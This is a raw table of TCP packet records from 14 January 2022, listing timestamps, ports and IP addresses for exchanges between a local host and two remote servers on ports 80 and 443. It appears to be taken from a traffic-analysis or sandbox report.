Jan 14, 2022 02:05:31.586150885 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.586160898 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.586186886 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.586208105 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.586211920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.586236000 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.586236954 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.586260080 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.586262941 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.586283922 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.586311102 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.586313963 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.586355925 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.629250050 CET	49904	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:05:31.629306078 CET	443	49904	162.159.129.233	192.168.2.3
Jan 14, 2022 02:05:31.629395962 CET	49904	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:05:31.629879951 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630002975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630065918 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630067110 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630093098 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630116940 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630141020 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630146027 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630171061 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630187035 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630197048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630219936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630242109 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630244017 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630270004 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630281925 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630295992 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630322933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630350113 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630351067 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630373001 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630397081 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630398035 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630422115 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630446911 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630460978 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630472898 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630497932 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630497932 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630523920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630536079 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630548954 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630573988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630599022 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630599022 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630625010 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630640030 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630650043 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630676985 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630690098 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630701065 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630728006 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630754948 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630754948 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630779028 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630803108 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630805016 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630829096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630845070 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630852938 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630878925 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630902052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630909920 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630925894 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630953074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.630959988 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.630975962 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.631001949 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.631001949 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.631064892 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.633450985 CET	49904	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:05:31.633475065 CET	443	49904	162.159.129.233	192.168.2.3
Jan 14, 2022 02:05:31.658992052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659027100 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659050941 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659076929 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659102917 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659126043 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659151077 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659173965 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659177065 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.659204960 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.659216881 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.659404039 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659465075 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659516096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659518957 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.659584045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659626007 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659636974 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.659651041 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659677029 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659738064 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659799099 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659851074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659918070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659934044 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.659943104 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.659992933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660002947 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660028934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660054922 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660073996 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660080910 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660106897 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660121918 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660161972 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660185099 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660207033 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660233974 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660259008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660274982 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660284042 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660319090 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660341024 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660345078 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660393953 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660434008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660458088 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660463095 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660486937 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660490990 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660516024 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660542011 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660567999 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660568953 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660588026 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660593033 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660618067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660641909 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660645962 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660667896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660691977 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660700083 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660717010 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660742998 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660751104 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660767078 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660792112 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660814047 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660815954 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660835028 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660839081 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660864115 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660887957 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660896063 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660919905 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660943031 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.660943031 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660968065 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660990953 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.660993099 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.661016941 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.661036015 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.661040068 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.661063910 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.661086082 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.661089897 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.661135912 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.671335936 CET	443	49904	162.159.129.233	192.168.2.3
Jan 14, 2022 02:05:31.671427965 CET	49904	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:05:31.686348915 CET	49904	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:05:31.686384916 CET	443	49904	162.159.129.233	192.168.2.3
Jan 14, 2022 02:05:31.686597109 CET	49904	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:05:31.686654091 CET	443	49904	162.159.129.233	192.168.2.3
Jan 14, 2022 02:05:31.686717033 CET	49904	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:05:31.704534054 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704613924 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704649925 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704669952 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.704674006 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704731941 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.704742908 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704768896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704802990 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704822063 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.704827070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704849958 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704873085 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.704880953 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704905033 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704926014 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704936981 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.704951048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704972982 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.704977989 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.704996109 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705018997 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705022097 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705045938 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705066919 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705070019 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705094099 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705117941 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705121994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705144882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705167055 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705168962 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705193996 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705214977 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705219030 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705248117 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705260038 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705281973 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705306053 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705327988 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705331087 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705370903 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705373049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705398083 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705420971 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705437899 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705449104 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705481052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705488920 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705506086 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705528975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705553055 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705569029 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705575943 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705600977 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705605030 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705626011 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705647945 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705650091 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705673933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705688953 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.705699921 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.705744982 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.732505083 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.732537985 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.732563019 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.732587099 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.732613087 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.732620001 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.732635975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.732659101 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.732661963 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.732685089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.732686996 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.732711077 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.732733011 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.732733965 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.732812881 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.734263897 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734339952 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734380960 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734410048 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.734415054 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734456062 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734458923 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.734498978 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734513998 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.734556913 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734559059 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.734626055 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734673023 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.734688044 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734757900 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734786034 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734802961 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.734808922 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734832048 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.734842062 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734857082 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.734894991 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734935045 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.734940052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734962940 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.734996080 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735006094 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735025883 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735058069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735065937 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735088110 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735121965 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735135078 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735146046 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735171080 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735198975 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735209942 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735251904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735255957 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735277891 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735332012 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735332966 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735356092 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735378981 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735402107 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735421896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735445976 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735467911 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735469103 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735491037 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735507965 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735513926 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735538960 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735563040 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735563993 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735586882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735605955 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735611916 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735639095 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735663891 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735680103 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735691071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735712051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735719919 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735737085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735759020 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735759974 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735783100 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735806942 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735821009 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735830069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735853910 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735858917 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735877037 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735897064 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735898018 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735922098 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735946894 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.735948086 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735971928 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.735996008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.736001015 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.736041069 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.779160976 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779248953 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779289007 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779320002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779325008 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.779350996 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779361963 CET	49901	80	192.168.2.3	141.8.194.74
